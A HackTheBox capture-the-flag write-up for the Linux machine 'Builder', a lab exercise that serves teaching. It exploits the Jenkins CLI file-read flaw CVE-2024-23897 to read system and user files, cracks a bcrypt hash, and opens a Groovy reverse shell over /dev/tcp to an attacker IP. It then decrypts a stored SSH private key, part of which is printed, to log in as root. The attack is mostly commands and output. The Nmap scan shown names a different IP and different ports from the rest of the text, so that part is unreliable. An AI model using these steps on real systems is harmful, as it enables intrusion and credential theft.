Builder – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

Builder Avatar


User Link to heading

Nmap scan shows 3 ports open: 22 SSH, and 8080 identified as HTTP by Nmap scan

# Nmap 7.94SVN scan initiated Wed Feb 14 22:28:45 2024 as: nmap -sVC -p22,80,3306 -oN targeted 10.10.10.229
Nmap scan report for 10.10.10.229
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 14 22:29:27 2024 -- 1 IP address (1 host up) scanned in 41.67 seconds

Visiting HTTP website at port 8080 it looks like a Jenkins site. Recently (as the time of writting, 13/02/2024) a new vulnerability has been detected in Jenkins as can be appreciated in this report. This new vulnerability is tagged/named as CVE-2024-23897

Based on official Jenkins site, we can download a Command Line Interface client from JENKINS_URL/jnlpJars/jenkins-cli.jar. So in our case we download it using wget:

❯ wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar

To test if this worked I run:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  add-job-to-view
    Adds jobs to view.
  build
    Builds a job, and optionally waits until its completion.
  cancel-quiet-down
    Cancel the effect of the "quiet-down" command.
<SNIP>
version
    Outputs the current version.
  wait-node-offline
    Wait for a node to become offline.
  wait-node-online
    Wait for a node to become online.
  who-am-i
    Reports your credential and permissions.

with a non-existent command I get

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 randomcommand

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
No such command randomcommand

but if I run who-am-i (a Jenkins command), I get:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 who-am-i

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
  anonymous

If I run:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 '@/etc/passwd'

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
No such command @/etc/passwd

but if I add help command to this string I get:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/etc/passwd'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

so we have reached a Local File Inclusion

To see where is Jenkins running I check /proc/self/environ and obtain:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/proc/self/environ' 2>&1 | tail
  version
    Outputs the current version.
  wait-node-offline
    Wait for a node to become offline.
  wait-node-online
    Wait for a node to become online.
  who-am-i
    Reports your credential and permissions.

ERROR: No such command HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Available commands are above.

or to see it better I use grep:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/proc/self/environ' 2>&1 | grep -a -A999 "ERROR"

ERROR: No such command HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Available commands are above.

From this output I can see that the server is located at /var/jenkins_home. Usually users are stored at /var/jenkins_home/users/users.xml. However, using help command did not give anything.

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/var/jenkins_home/users/users.xml' 2>&1 | grep -a -A999 "ERROR"

ERROR: Too many arguments: <hudson.model.UserIdMapper>
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: <?xml version='1.1' encoding='UTF-8'?>)

After using many other commands I use connect-node and get:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/users.xml'

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

and I can see a directory jennifer_12108429903186576833. This means that the directory /var/jenkins_home/users/jennifer_12108429903186576833 should exist. And inside it there should be a config.xml file.

We then try to read /var/jenkins_home/users/jennifer_12108429903186576833/config.xml:

❯ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such agent "    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">" exists.
    <hudson.search.UserSearchProperty>: No such agent "    <hudson.search.UserSearchProperty>" exists.
      <roles>: No such agent "      <roles>" exists.
    <jenkins.security.seed.UserSeedProperty>: No such agent "    <jenkins.security.seed.UserSeedProperty>" exists.
      </tokenStore>: No such agent "      </tokenStore>" exists.
<SNIP>
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

and I can see a hash: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

I try to crack this password using JohnTheRipper and obtain something:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt jennifer_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)
1g 0:00:00:00 DONE (2024-02-13 18:33) 3.571g/s 160.7p/s 160.7c/s 160.7C/s 123456..jennifer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

so, apparently, we have found the credentials jennifer:princess

I tried to log in via SSH with these credentials but did not work.

These credentials work within the Jenkins site. Now I can execute commands from /script directory. I try to get a reverse shell and it does.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.16.4/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

with 10.10.16.4 my attacker IP while listening with nc on port 443

But I encounter two problems: 1) The site is within a Docker container; 2) The reverse shell is not very responsive. So I go back to the site and look for other things

In Dashboard > Manage Jenkins > Credentials I can see something:

Builder 1

so we have a Credentials section. I click on System > Global credentials (unrestricted) > Click on Wrench Icon (EDIT).

Then, in this page, I scroll down and I can see a Concealed for Confidentiality key that I am not able to see. However, in Firefox if we right click on the page and Inspect > Inspector and go to the place where this text appear we can see the key:

Builder 2

and I save this into a file.

I try to decrypt it but nothing works. However, the available Groovy console (located at /script directory) has a function to decrypt the key:

println(hudson.util.Secret.decrypt("<value-key>"))

where <value-key> is the key obtained from the website (including { and } characters) So I run:

println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAWbPlduIXaAfD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qE7AZ18qxJjl6yKZdgSOxT4TKHyKO76lU
1eYkNfDcCr1AE1SEDB9X0MwLqaHz0uZsU3/30UcFVhwe8nrDUOjm/TtSiwQexQOIJGS7hm
kf/kItJ6MLqM//+tkgYcOniEtG3oswTQPsTvL3ANSKKbdUKlSFQwTMJfbQeKf/t9FeO4lj
evzavyYcyj1XKmOPMi0l0wVdopfrkOuQAAAMEA7ROUfHAI4Ngpx5Kvq7bBP8mjxCk6eraR
aplTGWuSRhN8TmYx22P/9QS6wK0fwsuOQSYZQ4LNBi9oS/Tm/6Cby3i/s1BB+CxK0dwf5t
QMFbkG/t5z/YUA958Fubc6fuHSBb3D1P8A7HGk4fsxnXd1KqRWC8HMTSDKUP1JhPe2rqVG
P3vbriPPT8CI7s2jf21LZ68tBL9VgHsFYw6xgyAI9k1+sW4s+pq6cMor++ICzT++CCMVmP
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

and save it as id_rsa.

These credentials should be valid for jennifer (the only user we have found at the moment). But they are not useful. I cannot log in via SSH with this key.

However, when I try to log in as root:

❯ chmod 600 id_rsa

❯ ssh -i id_rsa root@10.10.11.10

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Tue Feb 13 10:09:32 PM UTC 2024

  System load:              0.080078125
  Usage of /:               66.8% of 5.81GB
  Memory usage:             38%
  Swap usage:               0%
  Processes:                219
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.10.11.10
  IPv6 address for eth0:    dead:beef::250:56ff:feb9:d356

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Feb 13 05:40:40 2024 from 10.10.14.23
root@builder:~# whoami
root

We are in as root. We can get both flags, the one from user and root.

~Happy Hacking